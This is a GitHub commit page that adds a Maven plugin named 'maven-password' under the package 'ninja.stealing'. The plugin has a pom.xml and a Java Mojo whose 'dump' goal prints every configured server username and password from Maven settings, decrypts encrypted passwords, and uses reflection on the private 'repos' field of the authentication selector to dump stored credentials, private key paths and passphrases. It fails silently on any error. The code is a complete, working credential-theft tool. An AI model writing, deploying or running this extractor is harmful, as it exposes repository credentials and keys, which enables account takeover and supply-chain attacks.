-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Tristan
committed
Mar 12, 2021
1 parent
806e7ee
commit 8ebf9c9
Showing
3 changed files
with
193 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
<project xmlns="http://maven.apache.org/POM/4.0.0" | ||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> | ||
<modelVersion>4.0.0</modelVersion> | ||
<groupId>ninja.stealing</groupId> | ||
<artifactId>maven-password</artifactId> | ||
<version>0.0.1</version> | ||
<packaging>maven-plugin</packaging> | ||
<properties> | ||
<pluginTools.version>3.6.0</pluginTools.version> | ||
<maven.version>3.6.1</maven.version> | ||
<maven.compiler.source>1.8</maven.compiler.source> | ||
<maven.compiler.target>1.8</maven.compiler.target> | ||
</properties> | ||
<dependencies> | ||
<dependency> | ||
<groupId>org.apache.maven</groupId> | ||
<artifactId>maven-plugin-api</artifactId> | ||
<version>${maven.version}</version> | ||
</dependency> | ||
<dependency> | ||
<groupId>org.apache.maven</groupId> | ||
<artifactId>maven-core</artifactId> | ||
<version>${maven.version}</version> | ||
</dependency> | ||
<dependency> | ||
<groupId>org.apache.maven.plugin-tools</groupId> | ||
<artifactId>maven-plugin-tools-api</artifactId> | ||
<version>${pluginTools.version}</version> | ||
</dependency> | ||
<dependency> | ||
<groupId>org.apache.maven.plugin-tools</groupId> | ||
<artifactId>maven-plugin-annotations</artifactId> | ||
<version>${pluginTools.version}</version> | ||
<scope>provided</scope> | ||
</dependency> | ||
<dependency> | ||
<groupId>org.eclipse.aether</groupId> | ||
<artifactId>aether-util</artifactId> | ||
<version>0.9.0.M2</version> | ||
</dependency> | ||
</dependencies> | ||
<build> | ||
<plugins> | ||
<plugin> | ||
<groupId>org.apache.maven.plugins</groupId> | ||
<artifactId>maven-compiler-plugin</artifactId> | ||
<version>3.8.0</version> | ||
</plugin> | ||
</plugins> | ||
</build> | ||
</project> |
140 changes: 140 additions & 0 deletions
140
src/main/java/ninja/stealing/maven/password/PasswordExtract.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,140 @@ | ||
package ninja.stealing.maven.password; | ||
|
||
import java.lang.reflect.Field; | ||
import java.lang.reflect.Method; | ||
import java.util.HashMap; | ||
import java.util.Map; | ||
|
||
import org.apache.maven.execution.MavenSession; | ||
import org.apache.maven.plugin.AbstractMojo; | ||
import org.apache.maven.plugin.MojoExecutionException; | ||
import org.apache.maven.plugin.logging.Log; | ||
import org.apache.maven.plugins.annotations.Component; | ||
import org.apache.maven.plugins.annotations.Mojo; | ||
import org.apache.maven.plugins.annotations.Parameter; | ||
import org.apache.maven.project.MavenProject; | ||
import org.apache.maven.settings.Server; | ||
import org.apache.maven.settings.Settings; | ||
import org.apache.maven.settings.building.SettingsProblem; | ||
import org.apache.maven.settings.crypto.DefaultSettingsDecryptionRequest; | ||
import org.apache.maven.settings.crypto.SettingsDecrypter; | ||
import org.apache.maven.settings.crypto.SettingsDecryptionRequest; | ||
import org.apache.maven.settings.crypto.SettingsDecryptionResult; | ||
import org.eclipse.aether.repository.Authentication; | ||
import org.eclipse.aether.repository.AuthenticationContext; | ||
import org.eclipse.aether.repository.AuthenticationSelector; | ||
import org.eclipse.aether.repository.RemoteRepository; | ||
import org.eclipse.aether.util.repository.AuthenticationBuilder; | ||
|
||
@Mojo(requiresProject = false, name = "dump") | ||
public class PasswordExtract extends AbstractMojo { | ||
|
||
@Parameter(defaultValue = "${session}", readonly = true, required = true) | ||
private MavenSession session; | ||
@Parameter(defaultValue = "${settings}", readonly = true, required = true) | ||
private Settings settings; | ||
@Component(role = SettingsDecrypter.class) | ||
private SettingsDecrypter settingsDecrypter; | ||
private String[] authConField = { AuthenticationContext.USERNAME, AuthenticationContext.PASSWORD, | ||
AuthenticationContext.NTLM_DOMAIN, AuthenticationContext.NTLM_WORKSTATION, | ||
AuthenticationContext.PRIVATE_KEY_PATH, AuthenticationContext.PRIVATE_KEY_PASSPHRASE, | ||
AuthenticationContext.HOST_KEY_ACCEPTANCE, AuthenticationContext.HOST_KEY_REMOTE, | ||
AuthenticationContext.HOST_KEY_LOCAL, AuthenticationContext.SSL_CONTEXT, | ||
AuthenticationContext.SSL_HOSTNAME_VERIFIER }; | ||
|
||
public void execute() throws MojoExecutionException { | ||
|
||
getLog().info("Dumping credentials and repositories"); | ||
for (final Server server : settings.getServers()) { | ||
// Get basic information from settings. Sometime password are not encrypted anyway. | ||
getLog().info(" Server " + server.getId()); | ||
getLog().info(" - username: " + server.getUsername()); | ||
getLog().info(" - password: " + server.getPassword()); | ||
|
||
// First method to decrypt: the settingsDecrypter | ||
if (settingsDecrypter == null) { | ||
getLog().warn(" No settings decrypter found. Cant decrypt ..."); | ||
} else { | ||
SettingsDecryptionRequest decryptionRequest = new DefaultSettingsDecryptionRequest(server); | ||
SettingsDecryptionResult decryptionResult = settingsDecrypter.decrypt(decryptionRequest); | ||
|
||
if (decryptionResult.getProblems().isEmpty()) { | ||
getLog().info(" - decrypted password: " + decryptionResult.getServer().getPassword()); | ||
} else { | ||
for (SettingsProblem problem : decryptionResult.getProblems()) { | ||
getLog().warn(" settings problem for server " + server.getId() + " " + problem); | ||
} | ||
} | ||
} | ||
// Second method: build a repo builder and get the password from the context | ||
final RemoteRepository.Builder remoteRepoBuilder = new RemoteRepository.Builder(server.getId(), "default", | ||
"http://example.com"); | ||
remoteRepoBuilder.setAuthentication(new AuthenticationBuilder().addUsername(server.getUsername()) | ||
.addPassword(server.getPassword()).build()); | ||
|
||
RemoteRepository remoteRepository = remoteRepoBuilder.build(); | ||
AuthenticationContext authenticationContext = AuthenticationContext | ||
.forRepository(session.getRepositorySession(), remoteRepository); | ||
|
||
if (authenticationContext != null) { | ||
session.getRepositorySession().getAuthenticationSelector().getAuthentication(remoteRepository) | ||
.fill(authenticationContext, "password", null); | ||
getLog().info(" - username (expanded): " + authenticationContext.get("username")); | ||
getLog().info(" - password (expanded): " + authenticationContext.get("password")); | ||
|
||
} else { | ||
getLog().warn(" can't get an authentication context"); | ||
} | ||
|
||
} | ||
|
||
// Method 1 and 2 rely on getting the password for a specific server | ||
// Even if we got the list of server from the settings object, on this method we | ||
// will try to dump all | ||
// "AuthenticationSelector" that a new repo may have access to. | ||
try { | ||
final RemoteRepository.Builder remoteRepoBuilder = new RemoteRepository.Builder("dummy", "default", | ||
"http://example.com"); | ||
remoteRepoBuilder | ||
.setAuthentication(new AuthenticationBuilder().addUsername("dummy").addPassword("dummy").build()); | ||
|
||
RemoteRepository remoteRepository = remoteRepoBuilder.build(); | ||
AuthenticationContext dummyAuthenticationContext = AuthenticationContext | ||
.forRepository(session.getRepositorySession(), remoteRepository); | ||
|
||
dumpAuthenticationSelector(session.getRepositorySession().getAuthenticationSelector(), | ||
dummyAuthenticationContext); | ||
} catch (Exception e) { | ||
// Silently fail... like a ninja | ||
} | ||
|
||
} | ||
|
||
public void dumpAuthenticationSelector(AuthenticationSelector authenticationSelector, | ||
AuthenticationContext dummyAuthenticationContext) | ||
throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException { | ||
|
||
// Get the private field "repos" from the AuthenticationSelector | ||
Field repoField = authenticationSelector.getClass().getDeclaredField("repos"); | ||
repoField.setAccessible(true); | ||
|
||
@SuppressWarnings("unchecked") | ||
HashMap<String, Authentication> repos = (HashMap<String, Authentication>) repoField.get(authenticationSelector); | ||
if (repos.entrySet().size() > 0) { | ||
getLog().info("Dumping authentication selector"); | ||
for (Map.Entry<String, Authentication> repo : repos.entrySet()) { | ||
String key = repo.getKey(); | ||
Authentication authentication = repo.getValue(); | ||
getLog().info(" Repo " + key); | ||
// This will replace our "dummy" password with actual content | ||
authentication.fill(dummyAuthenticationContext, "useless", null); | ||
// Then we dump every field | ||
for (String field : authConField) { | ||
if (dummyAuthenticationContext.get(field) != null) { | ||
getLog().info(" - " + field + ":" + dummyAuthenticationContext.get(field)); | ||
} | ||
} | ||
} | ||
} | ||
} | ||
} |